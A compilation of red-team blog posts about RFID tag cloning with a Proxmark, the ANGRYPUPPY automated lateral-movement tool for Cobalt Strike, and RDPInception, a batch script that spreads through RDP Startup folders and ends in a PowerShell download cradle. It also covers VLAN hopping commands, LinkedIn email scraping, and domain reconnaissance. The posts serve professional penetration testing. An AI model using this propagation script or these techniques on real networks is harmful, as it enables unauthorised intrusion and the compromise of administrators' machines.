I've been out to purchase a Proxmark for a long time, I've even checked out the fake ones on Taobao and AliExpress. I've recently moved to China to proceed with my YOLO start-up adventure towards spreading the good old “Red Team”, or attack mindset, practical, and technique driven services.\
Since arriving in Shenzhen and Hong Kong, I've met many new friends. One day, [Kevin Mitnick](https://twitter.com/kevinmitnick) introduced me to [Dennis Goh](https://www.rfxsecure.com/) and [Olaf Tan](http://proxgrind.com/) – the creators of Proxmark 3 Rdv4.0.

The Proxmark 3 Rdv4.0 has been on Kickstarter for the past couple of months and had seen a surge of interest from both enthusiasts and security professionals.

[Kickstarter - Proxmark3 Rdv4.0](https://www.kickstarter.com/projects/1408815241/proxmark3-rdv-40)

## Disclaimer <a href="#disclaimer" id="disclaimer"></a>

Not a mega RFID expert here, terminology may be incorrect but the post is aimed to help those new to RFID and Proxmark usage understand.

## What is the Proxmark 3 Rdv4.0? <a href="#whatistheproxmark3rdv40" id="whatistheproxmark3rdv40"></a>

If you're in the security industry, you've probably already heard of the Proxmark. For those who haven't, here's a quick, simple background on the project and device. The Proxmark 3.0 Rdv4 is one of many revisions of the open-source Proxmark device project that is designed to allow for RFID reading, sniffing, and manipulation. RFID is widely used across many industries in many implementations – even more so in China. It's difficult to pass by a single day without having been in contact with at least multiple RFID technology enabled devices. The most common device I'd often see are doors, but there are also implementations in which RFID can be used to track purchases for next-generation stores that do not have tills. I've even found recently that some high-end luxury brands would use RFID for authenticity signatures.

In practical, yet simple terms, the Proxmark 3.0 RDv4 allows the user to read, and write the contents of RFID chips. One of the most common attacks that we'd utilise as an offensive security professional is cloning. Regardless of the encryption, as long as there's no time-based or OTP material, any encrypted contents, whether signed or not, can be simply cloned, replayed, and used to broadcast the same signal.

Some photos of the Proxmark 3.0 RDv4 project that Dennis and Olaf have been working on:

![](/files/-LP7T5hHVwPqA1_BGZld)

![](/files/-LP7T752JsWtCKwerP53)

![](/files/-LP7TA3f49q8M56Syw1-)

You might be thinking why there's no antenna. The RDv4 has an enclosure which prevents the device from being revealed. The device also supports standalone mode and can be concealed nicely for reading RFID data. The only issue is the proximity required to read. The current implementation and proximity can be utilised in an attack and would most definitely succeed. However, a long-range reader would be more effective given the theoretical transmission distances of each RFID type.

## Low Frequency vs High Frequency RFID <a href="#lowfrequencyvshighfrequencyrfid" id="lowfrequencyvshighfrequencyrfid"></a>

In general, there's two main RFID categories we work with. Low Frequency and High Frequency. Key facts for us to digest and understand:

* Low Frequency operates at 125kHz – 134.3 kHz and the theoretical read distance is usually 30cm to as low as 10cm.
  * Used for items such as door key fobs that we often see
* High Frequency operates at 13.56Mhz and the theoretical read distance is generally about 1m.
  * Used for items such as hotel door keys, and certain store membership cards.

Other RFID categories that I don't think Proxmark supports, but we should know exists:

* Ultra-High Frequency operates at 860 – 960 MHz. 1st generation read distance over 1m. 2nd generation read distance up to 12m. Newest generation read distance up to 50m.

## Getting the Proxmark 3 Rdv4.0 working <a href="#gettingtheproxmark3rdv40working" id="gettingtheproxmark3rdv40working"></a>

I had some issues getting the Proxmark 3 working out of the box. I tried to run it in Linux and the firmware wasn’t working, or something along those lines. I went and plugged into Windows and ran a firmware flash from the latest Gator package available here:\
<http://www.proxmark.net/forum/viewtopic.php?id=3975>

After doing so, running the client was fine. Just execute:\
`proxmark.exe <COM port>`\
To get the COM port just open devmgmt.msc and check the port the device is connected on.

## Cloning Low Frequency Tag <a href="#cloninglowfrequencytag" id="cloninglowfrequencytag"></a>

In this post I'll quickly go over a low frequency tag clone that I did for a target this week. I won’t go into high frequency in this blog post.\
Ensure device is working by using:\
`hw tune`\
Place target tag on reader. Type:\
`hw tune`\
If voltage goes down on either RF or LF, you know which frequency the tag is. If LF goes down, it's LF.\
To read the tag type:\
`lf search`\
Read the contents:\
`lf em 410xwatch`

Example:

```
Checking for known tags:

EM410x pattern found:

EM TAG ID      : A600YYYYY

Possible de-scramble patterns
Unique TAG ID  : 6C000215F5
HoneyWell IdentKey {
DEZ 8          : 0423xxxx
DEZ 10         : 000423xxxx
DEZ 5.5        : 000xx.xxxxx
DEZ 3.5A       : 05x.xxxxx
DEZ 3.5B       : 00x.xxxxx
DEZ 3.5C       : 06x.xxxxx
DEZ 14/IK2     : xxxx19xxxxxxxx
DEZ 15/IK3     : xxxxx38xxxxxxxx
DEZ 20/ZK      : xxxxxx000002xxxxxxxx
}
Other          : xxxx3_0x4_042xxxxx
Pattern Paxton : 9115xxxxx [0x36xxxxxx]
Pattern 1      : 840xxxx [0x80xxxx]
Pattern Sebury : 43xxx 6x 423xxxx  [0xAxxx 0x4x 0x4xxxx]

Valid EM410x ID Found!
```

Place the destination tag on the reader:\
`lf em 410xwrite <EMTAGID> 1`\
`lf em 410xwrite A600YYYYY 1`

## Conclusion <a href="#conclusion" id="conclusion"></a>

Okay, hope you all learned something. Hope to share more posts in the future as a result of Dennis and Olaf's work! They’ve got some pretty interesting gadgets in the pipeline – I'd definitely recommend looking out for!

## Credits <a href="#credits" id="credits"></a>

[Iceman](https://twitter.com/herrmann1001) - Proxmark\
0xFFFF - Proxmark\
Vincent Yiu

![](https://vincentyiu.co.uk/content/images/2018/07/qr.png)


# Poor man’s guide to Raspberry Pi initial installation

Install Raspberry Pi without a monitor

*Note: this post was from December 2015*

As a security consultant, I travel around quite often. It becomes difficult for me to gain access to a HDMI cable, it is also extra weight to carry should I choose to buy one. Another requirement of installation in most guides for the Raspberry Pi 2 is a monitor of some sort. However, as we all know, a monitor is just a visual display. Other guides also require the use of a router.

In this guide, I explain how I use the following resources to get my Raspberry Pi set up:

* Raspberry Pi 2
* Ethernet Cable
* SD Card + Adapter
* Micro USB to USB cable.
* Laptop with SD Card Adapter slot

Firstly visit the Raspberry Pi website and download Raspbian via the following link:

[https://www.raspberrypi.org/downloads/raspbian/](http://web.archive.org/web/20160208101006/https://www.raspberrypi.org/downloads/raspbian/)

This gives us a zip file. To obtain the img file that we will be requiring in the rest of this guide, simply extract it.

Place the SD Card into the adapter and attach it to your laptop. After doing so, launch [SDFormatter](http://web.archive.org/web/20160208101006/https://www.sdcard.org/downloads/formatter_4/eula_windows/) and select the SD Card volume label then click format. This is displayed in the following image.

![](/files/-LQ2w1BS-OSV1Q4Ps0Ma)

Once the SD Card is formatted and ready for use, we can make use of [Win32 Disk Imager](http://web.archive.org/web/20160208101006/http://sourceforge.net/projects/win32diskimager/)to transfer the image to the disk. Open up Win32 Disk Imager, select the SD Card, select the img file and click write. Displayed below.

![](/files/-LQ2w2MGRLYnT5BcPFj1)

After the writing process has finished, we need to assign a static IP for the device. Open the cmdline.txt file on the SD Card and append “ip=169.254.176.130″. I have chosen 169.254.176.130 because it was not being used so I would not have collisions.

![](/files/-LQ2w3d27uV9rFszqDkS)

Now attach one end of the Ethernet cable to your laptop and the other end to your Raspberry Pi 2. After some time, your laptop should be assigned an IP address. I was assigned 169.254.176.129. We can check this by typing “ipconfig” on Windows in the command line.

![](/files/-LQ2w59TsyhQICPd6zbL)

Now we can check for connectivity and whether the Raspberry Pi 2 assigned the IP correctly by pinging it. Below shows this being performed.

![](/files/-LQ2w6SpXSNYpfEcEXGT)

Now we can SSH into Raspberry Pi 2 using [Putty](http://web.archive.org/web/20160208101006/http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html). We can login using the default credentials of username: pi, password: raspberry.

![](/files/-LQ2w7dA2Y_u8e2FNZvs)

By typing in “sudo raspi-config”, we are displayed the Raspberry Pi Configuration Tool. We can navigate this using the arrow keys. I will not go into the different configurations here as it is self explanatory.

This quick guide will end here as I would transfer this onto a router network to continue installation of other software I want to use such as Kodi or VNC using apt-get.


# Post Exploitation

Posts related to Post-exploitation after infiltrating the target environment.


# Introducing ANGRYPUPPY

*Note: This post was published back in 2017*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

### What is ANGRYPUPPY <a href="#whatisangrypuppy" id="whatisangrypuppy"></a>

ANGRYPUPPY is a tool for the Cobalt Strike framework, designed to automatically parse and execute BloodHound attack paths. ANGRYPUPPY was partly inspired by the [GoFetch](https://github.com/GoFetchAD/GoFetch) and [DeathStar](https://github.com/byt3bl33d3r/DeathStar) projects, which also automate BloodHound attack path execution. ANGRYPUPPY uses Cobalt Strike’s built-in lateral movement and credential-stealing capabilities of its agent, Beacon.

This allows for automated retrieval of sessions for management within Cobalt Strike and allows for the use of its SMB C2 communications channel for internal pivoting. Additionally, ANGRYPUPPY allows the operator to choose the technique they wish to use to perform lateral movement actions. Currently, an operator can choose psexec\_psh, WMI, WinRM, or psexec techniques.

The following displays a video of the tool in action within the RASTALABS environment, created by [@\_rastamouse](https://twitter.com/rasta_mouse)

{% embed url="<https://youtu.be/yxQ8Q8itZao>" %}

### What is BloodHound? <a href="#whatisbloodhound" id="whatisbloodhound"></a>

BloodHound is an AD relationship mapping and visualisation tool developed by [Andy Robbins](https://twitter.com/wald0), [Rohan Vazarkar](https://twitter.com/CptJesus), and [Will Schroeder](http://twitter.com/harmj0y). BloodHound ultimately analyzes trust relationships in a Windows Active Directory Domain with the goal to support operators and provide the ability to analyze the most efficient ways to target specific systems/users/groups.

BloodHound has some shortcomings whereby a full view of the environment is required and therefore a large amount of AD data collection is necessary for it to operate.

BloodHound and all of its information can be found at <https://github.com/BloodHoundAD/BloodHound>

### Why build ANGRYPUPPY/How does it help red teams? <a href="#whybuildangrypuppyhowdoesithelpredteams" id="whybuildangrypuppyhowdoesithelpredteams"></a>

Upon its initial release, BloodHound could take a long time to collect its data in large environments; well over 24 hours in certain cases. However, with recent upgrades, BloodHound can now finish collection in a fraction of the time. Primarily as a result of BloodHound, AD data collection is now coming into the spotlight of defenders, and a large amount of AD traffic can be a detection criteria for defenders. Therefore, when using BloodHound in offensive operations it is vital to execute an attack as swiftly and as accurately as possible.

ANGRYPUPPY increases the speed and accuracy of executing the attack paths generated by BloodHound. In our test trials it was possible to execute a 5 hop attack within 3 minutes — one which may take an operator slightly longer to do manually, and reducing the possibility of operator error (which could alert defenders).

As mentioned, AD data collection is moving into the spotlight of the defender space. Traditional lateral movement techniques are also widely detected and analysed. Therefore such techniques would most likely be only viable against less mature organisations where the defense capability is lacking or an educated SOC is not present. As ANGRYPUPPY automates the attack, this leaves more time for project management, tactical planning and focus on achieving objectives with less time worrying about execution. Alternatively, in a mature environment this may be used as a means to simulate an actor with a financial gain agenda and more likely to follow a “smash and grab” approach.

### How does ANGRYPUPPY work? <a href="#howdoesangrypuppywork" id="howdoesangrypuppywork"></a>

ANGRYPUPPY ingests a BloodHound attack path in JSON format and is then able to determine the actions necessary to execute the attack path, stealing credentials or moving laterally as necessary.

The operator simply types “angrypuppy” into any Cobalt Strike beacon console and is then able to import the attack path, select a lateral movement technique and execute the attack. This action is recorded in the Cobalt Strike event log, along with the operator name and the ANGRYPUPPY identifier. We do not recommend performing other lateral movement activity while ANGRYPUPPY is running.

![](/files/-LQ3Tff04xFwJ5nC1vOW)

ANGRYPUPPY running using psexec\_psh as the lateral movement method.

ANGRYPUPPY assigns a random identifier each time it is run, to allow for differentiation between attack paths executed. This identifier is used when the attack is started and completed, and will also be set as a beacon note when each new beacon checks in.

In order to help with determining valid attack paths from current accessible sessions, the “cypher” command is also implemented to allow the operator to generate several queries based on the beacons currently in Cobalt Strike. The operator can then copy and paste these queries from the event log into the “raw query” section of BloodHound in order to determine paths to Domain Admins without having to manually check each user or computer. This attack path can then be exported as JSON after a valid single path is found, which can then be automatically executed by ANGRYPUPPY.

![](/files/-LQ3TgyvidxIYjaP0iki)

Output from the “cypher” command, showing Cypher queries generated from current beacons.

### Cypher Logic <a href="#cypherlogic" id="cypherlogic"></a>

Cobalt Strike’s Aggressor Script has the “binfo” function to obtain information on a specific beacon. Using this information we can obtain a list of all current user sessions, along with machines. A computer is only used as a valid item for a BloodHound query if there is an administrator-level beacon on the device. This had to be enforced as BloodHound has no knowledge of current context and would often assume full machine compromise when only a low privileged beacon was present.

A number of basic queries were developed with assistance from Andy Robbins. Currently, two types of queries are available:

* Query from all current beacon contexts to Domain Admin via Group membership and Admin to target machines.
* Query from all current beacon contexts to Domain Admin using all possible relationships including ACL vectors. (Not yet implemented in ANGRYPUPPY)

With each query, an additional statement that selects only one unique attack path is also included, which basically just appends “LIMIT 1” to the end of the query for easy export into JSON, which we can then be ingested with ANGRYPUPPY. This is to remove situations where the attack path may fork, which poses issues when sorting nodes.

### ANGRYPUPPY Logic <a href="#angrypuppylogic" id="angrypuppylogic"></a>

To implement ANGRYPUPPY, there are two types of data that we needed to ingest from BloodHound: **nodes** and **edges**. A **node** is an item such as a user, a computer, or a group; an **edge** is the relationship between two nodes. There are several types of possible relationships between nodes, depending on node type.

We quickly realized an issue upon beginning to write the JSON parsing logic for ANGRYPUPPY. BloodHound’s graph export feature, while giving us JSON that we can quickly ingest, returns nodes and edges in unordered arrays. This meant that we not only had to parse the data, but we had to find a way to sort the nodes. Luckily, the graph contains the information needed, in the form of edges.

The parsing logic works out the possible nodes and determines a start node by finding a node that is not the “target” of any edge. With the first node, we are then able to step through and sort the nodes by using the “source” and “target” fields from each edge to arrange them in order.

What we realized while making ANGRYPUPPY is that the type of edge doesn’t really matter for our purposes, as the action that we take for each node is solely determined by the \*node \*type, rather than the edge type. Additionally, we determined that while group nodes are necessary to sort the attack path into the correct order, we can effectively ignore the group nodes after we sort the attack path, as below:

User1 –MemberOf → Group1 –AdminTo→ Computer1

In this case, the group node effectively only exists to show that User1 has admin rights to Computer1, and there is no action that we can take on the Group1 node. Thus, our parsing logic will drop all group nodes before the final attack path is generated.

The attack execution is roughly described in the following flow chart:

![](/files/-LQ3Tj7t8UyYEm1CQU87)

### Technical Hurdles Overcome <a href="#technicalhurdlesovercome" id="technicalhurdlesovercome"></a>

Cobalt Strike posed certain issues due to the asynchronous nature of beacon communications. A limited number of callbacks were available and therefore many had to be implemented manually on a periodic polling basis of 1 second whereby a flag would be set and trigger another part of the code to execute.

At the time of developing ANGRYPUPPY, the best way we found to handle detection and callbacks was by creating a loop that would be executed every second. This loop looked for changes in the state and flip switches that we have written in as global variables. Other sections of code would then detect these states and act accordingly.

Let’s take lateral movement for example. It was necessary to implement a variable that prevents a second attempt at moving to the target machine if an attempt has already been made to move to the next target. Once the session comes back, this flag is reset, and only then do we attempt to perform the next action in the attack path.

### Installation <a href="#installation" id="installation"></a>

1. Git clone <https://github.com/vysecurity/ANGRYPUPPY>
2. Run install.ps1 or install.sh (depending on your OS). This rewrites the CNA script to contain the correct path to a necessary Java library we use for JSON parsing.
3. In Cobalt Strike, load the CNA script in.

### Usage <a href="#usage" id="usage"></a>

1. Follow BloodHound guidelines available at <https://github.com/BloodHoundAD/BloodHound>

* An example of how to do this in Aggressor script is available [here](https://github.com/001SPARTaN/aggressor_scripts/blob/master/powershell.cna#L8-L13)

1. Once data is loaded into BloodHound and is queryable, type “cypher” into any current beacon session. Ensure that only active sessions are left on the screen.
2. Go to the event log and copy the “non-ACL” path to domain admins that is ready for ANGRYPUPPY (with LIMIT 1) at end.
3. Paste this query into the raw query section of BloodHound.
4. If a path is available, export the path as a JSON file. If not, go ahead and manipulate the target group to one that is accessible but may not be “Domain Admins”.
5. In Cobalt Strike within any beacon session, type in “angrypuppy”. This will launch a prompt.
6. Select the exported JSON attack path. Choose a preferred lateral movement technique and listener callback (for ex, SMB bind pipe). Press Run.
7. This will begin executing the attack path.

Note: if any errors occur or the code hangs, you can terminate by typing “angrypuppykill”.

For more information on usage, refer to the previously highlighted video.

### Future Work <a href="#futurework" id="futurework"></a>

* Utilize BloodHound REST API to automate end to end, no more copy/pasting Cypher query
* Type “Bloodhound”
* Script executes
* Downloads ingestable files
* Uses REST API to upload files to Neo4j DB
* Retrieves a path from the query if found
* Executes the path
* Support for Access Control Lists. Current limitation is the built-in Mimikatz does not allow for NTLM hash injection. Once Mimikatz is updated in the next build it would be possible to automate an ACL attack path and completely recover the state within minutes to minimise the window for disruption.

This blog post was co-authored by:

[Vincent Yiu](https://twitter.com/vysecurity) — SYON Security

[Calvin Hedler](https://twitter.com/001spartan) — SpectreOps


# RDPInception

*Note: posted in June 2017*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

![](/files/-LQ3TGp2JV4jVJxqcO6N)

Remote Desktop is often used by Systems Administrators to remotely manage machines. In a lot of organisations this could mean that a machine is placed in a DMZ or segregated part of the network that should not require any TCP port access other than TCP 3389 into the network segment.

However, users are able to “Choose the devices and resources that you want to use in your remote session” such as sharing of the Local Disk, as shown in the following screenshot:

![](/files/-LQ3TI3NwZCYTsEuhBSp)

A theoretical attack path and risk that is often spoken of is one which allows for the target server that is accepting the RDP connections to then attack the visiting machine that is connecting in. [Vincent Yiu](https://www.twitter.com/vysecurity) of the ActiveBreach team (at the time of this post, Vincent was a Red Team lead on the ActiveBreach red team) demonstrates this attack with the RDPInception proof of concept script that will recursively attack visitors of RDP servers. The ActiveBreach team have utilised this technique on multiple adversary simulation assessments and have received good results.

### RDPInception Infection Concept <a href="#rdpinceptioninfectionconcept" id="rdpinceptioninfectionconcept"></a>

RDPInception is based off of a simple concept, “Startup” programs. This is using the traditional well known “startup” directory to force users logging in to execute code.

Consider the following scenario:

![](/files/-LQ3TJakpkwlkAyIxzhH)

An attacker has compromised the Database server. An Administrator is RDPing into the Jump box, into the Domain Controller, into a File Server and finally the Database Server. Within any part of the chain, the attacker can unleash the RDPInception attack and it will theoretically spiral out to obtain a shell on each of the servers in the chain the next time the administrator logs into each machine. The attacker only needs to launch the RDPInception attack on DB001 at this point and the rest will take care of itself and unravel.

This technique can be used for lateral movement in restricted environments without credentials or exploitation.

### Scenarios for RDPInception <a href="#scenariosforrdpinception" id="scenariosforrdpinception"></a>

The attack is most viable in heavily restricted environments where other means of lateral movement and privilege escalation have already been assessed.

Furthermore, consider the scenario where an employee logs in to a server at 4am for 5 minutes. Constructing this attack even if the aggressor was online would be difficult to deploy fast enough even when constantly monitoring for inbound RDP sessions. The RDPInception technique removes the need for monitoring where it could be noisy as a lot of traffic is being generated due to constant query of “query user” to determine RDP sessions on the machine. If the attacker queries this once every hour, the opportunity for deployment may be missed.

### How RDPInception Works <a href="#howrdpinceptionworks" id="howrdpinceptionworks"></a>

The proof of concept for RDPInception is a relatively simple batch script, the details of which we will walk through below:

Switches off echo.

```
@echo off
```

Puts a short timer to ensure that tsclient is mounted.

```
**timeout** 1 >nul 2>&1
```

Makes a temp directory on both the visiting machine and the target.

```
**mkdir** \\tsclient\c\temp >nul 2>&1
**mkdir** C:\temp >nul 2>&1
```

Copies this file into the directories.

```
**copy** run.bat C:\temp >nul 2>&1
**copy** run.bat \\tsclient\c\temp >nul 2>&1
```

Ensure a text file does not exist in %TEMP%

```
del /**q** %TEMP%\temp_00.txt >nul 2>&1
```

Scans for startup directories on both the visiting machine and the target.

```
**set** **dirs**=dir /a:d /b /s C:\users\*Startup*
**set** **dirs**2=dir /a:d /b /s \\tsclient\c\users\*startup*
**echo**|%**dirs**%|findstr /i “Microsoft\Windows\Start Menu\Programs\Startup”>>”%TEMP%\temp_00.txt”
**echo**|%**dirs**2%|findstr /i “Microsoft\Windows\Start Menu\Programs\Startup”>>”%TEMP%\temp_00.txt”
```

Runs through each path and attempts to propagate the file to it.

```
**for** /F “tokens=*” %%a **in** (%TEMP%\temp_00.txt) DO (
**copy** run.bat “%%a” >nul 2>&1
**copy** C:\temp\run.bat “%%a” >nul 2>&1
**copy** \\tsclient\c\temp\run.bat “%%a” >nul 2>&1
)
```

Cleans up %TEMP% file

```
del /**q** %TEMP%\temp_00.txt >nul 2>&1

Execute the PowerShell download cradle.

powershell.exe <**cradle** here>
```

### Operational Tradecraft <a href="#operationaltradecraft" id="operationaltradecraft"></a>

In order to limit compromise to machines with a given condition it is often recommended to wrap the download cradle or payload execution around a condition statement.

Common environment keys we can use include:

* Username
* User Domain
* Subnet

For the example of using the user domain we can modify the script as such:

`If "**<DOMAINNAME>**"=="%USERDOMAIN%" (**<powershell cradle here>**)`

### RDPInception Tools <a href="#rdpinceptiontools" id="rdpinceptiontools"></a>

An [aggressor script](https://github.com/vysec/RDPInception) has been implemented to automate this process from within the Cobalt Strike framework, along with a batch script that can be modified to use manually or alongside other tools such as Empire.

Run rdpinception and select a HTTP, HTTPS or DNS listener and it will run regardless with no keying.

However, if you run rdpinception ACME, it will key on the ACME domain and only run on a machine joined to a domain called ACME.

Vincent talks through the attack in the below video:

{% embed url="<https://youtu.be/uLFBpdjrXx0>" %}

All the tools can be downloaded from [GitHub](https://github.com/vysec/RDPInception) .


# VLAN Attacks

Quick reference to attacking VLANs

*Note: this post was made in November 2015*

So today I decided to learn about VLAN attacks but every video I see just asks you to use yersinia or the frogger script. If you are reading this you probably saw all those and still have no idea what is happening.

So what I did was read the frogger script to see how it was grabbing information from tshark and parsing it to the user to be displayed.

From what I understand you can run:

> tshark -R "vlan" -V -i eth1

To obtain the the verbose output of the vlan scans. If you scroll around you will see " = ID: " fields. These are the VLAN IDs we need and are looking for.

If we run the following command we can obtain information regarding the switch:

> tshark -R "cdp" -V -i eth1

Information regarding the device name and management IP is displayed.

From this point on, from my n00bness as I still do not understand what is happening, just that I know on one of these VLANs I can access the management IP. I went ahead and decided to hop onto each one and see which one can route to it ?

For example, if my list of IDs that I have discovered are 5, 10 and 15 then I would do the following:

> modprobe 8021q\
> vconfig add eth1 5\
> ifconfig eth1.5 10.100.100.100 up\
> ping

If it did not respond, I would try 10 and finally 15 until I found out which one this lived on.

Due to the environment I was in when I was performing the tests. I had to connect through an SSH box. Therefore, if possible to use the arp-scan tool, the following command will allow arp scanning with VLAN tags.

> arp-scan -Q -I


# Reconaissance

Posts related to reconnaissance of a target.


# Reconnaissance using LinkedInt

*Note: posted on June 2017*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

![](/files/-LQ3TqIftCEsSKV129o6)

A key step in an adversary simulation is the reconnaissance phase which almost always requires obtaining e-mail addresses for employees within the organisation. LinkedIn is probably one of the most widely used sources for reliable profiling of employees.

Although a great source of information, not many tools are readily available to the public for scraping this information and obtaining a list of e-mail addresses. Existing tools were using the LinkedIn API or were non-functional due to the numerous user interface (UI) updates over the past year.

The ActiveBreach team found a reliable scraping method produced by Danny Chrastil ([@DisK0nn3cT](https://twitter.com/DisK0nn3cT)) which was available [here](https://github.com/DisK0nn3cT/linkedin-gatherer). This tool was modified and improved upon for our requirements to streamline the process of collection.

### Improvements <a href="#improvements" id="improvements"></a>

The original scraper by Danny Chrastil was modified in the following ways to improve and suit ActiveBreach’s operational requirements for performance scraping of LinkedIn.

* Fixed to work with latest UI
* Changed query to focus on using LinkedIn’s company filter after automatic discovery of company ID.
* Automated e-mail prefix detection for a given company domain name. This is used in scenarios where we are attacking a client and we do not know their e-mail format
* Streamline process

### Preparation <a href="#preparation" id="preparation"></a>

For preparation purposes, a LinkedIn account needs to be created. All you have to do is take that new account and connect it with an active account that you use. That will then allow the account to see all your connections up to the 3rd degree. If the account cannot see many people in a target company it is suggested that you go ahead and connect to a few key members of their company that may have a lot of contacts — such as HR.

Additionally, you will require a Hunter.io API key. You can register for one at [https://hunter.io](https://hunter.io/)

### Streamlining Collection <a href="#streamliningcollection" id="streamliningcollection"></a>

The idealistic scenario would be that the operator only has to insert a company name, and all the intelligence gathering and scraping will be performed automatically and a list of e-mails comes out on the other end. LinkedInt is not at this level yet.

Currently the operator must navigate a number of choices and options within the tool. The following video shows an example usage:

{% embed url="<https://youtu.be/7d-CAVhSHY0>" %}

### Future Developments <a href="#futuredevelopments" id="futuredevelopments"></a>

In the future, we hope to develop this to the level where only the Company name is required and all other aspects are performed automatically with no intervention required. Furthermore, support for horizontal scraping and the ability to mass predict company names to company domains then convert these to email prefixes is a desired feature. We would also like to add Natural Language Processing (NLP) to discover the types of roles and departments that could allow us to separate departments and groups of employees for brief visualisation of relationships.

You can download LinkedInt from my [github](https://github.com/vysec/LinkedInt) page.

This blog post was written by [@vysecurity](https://twitter.com/vysecurity).


# DomLink — Automating domain discovery

TLDR: Give DomLink a domain, it’ll go and find associated organization and e-mail registered then use this information to perform reverse WHOIS. Simple. You then get an output of lots of other associated domains registered by the company.

Author: Vincent Yiu (@vysecurity)

### DomLink <a href="#domlink" id="domlink"></a>

Not saying this is a new thing, but I needed a tool to do this without me having to manually do it over and over again for larger businesses. It’s useful for both Bug Bounty hunters who need to discover scope, penetration testers or even red teamers who need to map out the target’s digital attack surface.

DomLink roughly follows the following process. It takes the user-supplied domain name, looks for associated organization and e-mail records. It then takes the associated organization records and performs a Reverse WHOIS to discover additional domains which have associated e-mails attached to them. The tool prompts you with whether or not you want to add the discovered e-mail to your list of organization e-mails (most of the time requires human interaction to filter out junk). It then runs a further domain enumeration phase by taking the total list of associated e-mails and runs Reverse WHOIS on it again to get a final list of associated organizations, e-mails and domains.

![](/files/-LQ2ln5Tww03CYuuGVmL)

You might be thinking, why not run this in a recursive loop? Why even have manual prompting? I thought about this, and tried it, but without manual filtering, it ends up recursing out and obtains a whole load of junk domains not associated anymore. Therefore I stopped with a simple iteration and it works pretty good.

### Example <a href="#example" id="example"></a>

![](/files/-LQ2lpDLZ-Bajfg7aGCL)

### Download Link <a href="#downloadlink" id="downloadlink"></a>

* [DomLink - A tool to link a domain with registered organisation names and emails, to other domains.](https://github.com/vysec/domlink)

License: [MIT https://github.com/vysecurity/DomLink/blob/master/LICENSE.md](https://github.com/vysecurity/DomLink/blob/master/LICENSE.md)

### Usage <a href="#usage" id="usage"></a>

1. Get an API key from WHOXY.com
2. Set that API key in a file named domLink.cfg in the same directory.

   python domlink.py -d target.com -o target.out.txt


# OffensiveSplunk vs. Grep

{% hint style="warning" %}
Content is broken. I will update when I have time. A lot of images are missing.
{% endhint %}

TLDR; Using Splunk for Offensive security data analysis has advantages over the traditional Grep when trifling through and analysing data.

## Why Splunk and not ELK? <a href="#whysplunkandnotelk" id="whysplunkandnotelk"></a>

ELK is a fantastic open source project, and made even easier thanks to the [HELK](https://github.com/Cyb3rWard0g/HELK) project by [Cyb3rward0g](https://twitter.com/Cyb3rWard0g). In fact, I actually tried ELK first before I went over to Splunk. When I used ELK, I realised that I had to create a `.config` file which specifies the location of my data, before it would be ingested. This made it difficult for me as it meant that for every small data set I would still need to tell it what the headers and data types are. Splunk on the other hand, I managed to upload data by simply clicking on the Web UI and uploading a CSV file.

I know that many Offensive security shops are using ELK for logging and analytics. More on this topic in another post. ELK was just not fit for purpose in a quick PoC environment where I wanted to evaluate what sort of resources were required to spin up an Offensive Analytics System and what benefits could be obtained from doing so. In this post we will focus on using Splunk as a log analysis system to visualise and search data, quickly.

## Splunk Installation <a href="#splunkinstallation" id="splunkinstallation"></a>

Quite simply really, go to Splunk's website and download the MSI for Windows or relevant packages for your OS of choice. I used a machine with 20GB of RAM and 300GB SSD for the installation. Worked fine, you can probably do with less as Splunk does not seem very RAM heavy.

I'd recommend getting a developers license, which gives you 6 months to index any data you want into Splunk. The process of *Indexing* is simply importing data into the database and optimise it for searching. Just to get the technical search jargon out of the way.

## Data Ingestion <a href="#dataingestion" id="dataingestion"></a>

Yeah, it's really easy, you can even ingest .json.gz files directly by uploading them. As Project Sonar was too big, I used the command `splunk add oneshot sonar.json.gz` to get it into Splunk. It took a while to get the data in, but once it's done, searches are blazing fast.\
If your data is smaller than 500MB, you can even use the Web UI:<br>

![](/files/-LPA26u26e8uKTlxmq3n)

## Project Sonar <a href="#projectsonar" id="projectsonar"></a>

To demonstrate how we might use Project Sonar's Forward DNS data, I decided to explore Splunk's capabilities in aggregating and understanding the data.

### Content Delivery Networks <a href="#contentdeliverynetworks" id="contentdeliverynetworks"></a>

Finding domain fronts that work in CloudFront.\
Regular grep:

```
:/$ time zcat fdns_a.json.gz | grep '\.cloudfront\.net' | tee -a cloudfront.net.txt

real    10m25.282s
user    9m16.984s
sys     1m23.031s
```

Splunk search:

```
value="*.cloudfront.net"

47.63 seconds
```

It takes `13.13` times longer to search using grep compared to within Splunk.

### Domain Search <a href="#domainsearch" id="domainsearch"></a>

Obtain all subdomains for a particular domain:

![](/files/-LPA3jJaB3BMFNN8cFK2)

This was almost instant. Which would've also taken 10 minutes with a usual grep. However what's interesting is we can utilise Splunk's analytical capabilities to perform mappings to find out information such as "how many domains share the same host?":

![](/files/-LPA2fA1i1gnkyLYl8aB)

Here we can see that the one particular server is pointed to by all of the hostnames on the right.

We can also map the physical locations of the servers, roughly using:\
`name="*.uber.com" | stats values(name) by value | iplocation value | geostats count by City`\
to get:

![](/files/-LPA32ZCfQ4WY1IwAZ8K)

Sure, probably not much use, but quickly lets you see where the target's servers are located in the world.

If you are only allowed to attack servers within a particular country for the target organisation, then you can use Splunk to filter a list down too using:\
`name="*.uber.com" | stats values(name) by value | iplocation value | search Country="United States"`

![](/files/-LPA3Yejns3Hhu3o0AHP)

You may even choose to cut it down to a particular state if necessary.

### Get a list of all subdomains <a href="#getalistofallsubdomains" id="getalistofallsubdomains"></a>

You can run the following search to get a list of all the subdomains. I didn't bother waiting a long period of time to parse through 1.4 billion results, so I just did it for one domain:

```
index=main [search name="*.uber.com"] 
| table name
| eval url=$name$ | lookup ut_parse_extended_lookup url
```

or subdomains specifically with:

```
index=main [search name="*.uber.com"] 
| table name
| eval url=$name$ | lookup ut_parse_extended_lookup url 
| table ut_subdomain 
| dedup ut_subdomain
```

This might be useful if you are trying to resolve the same subdomains against all of their owned domains to try and discover more subdomains.

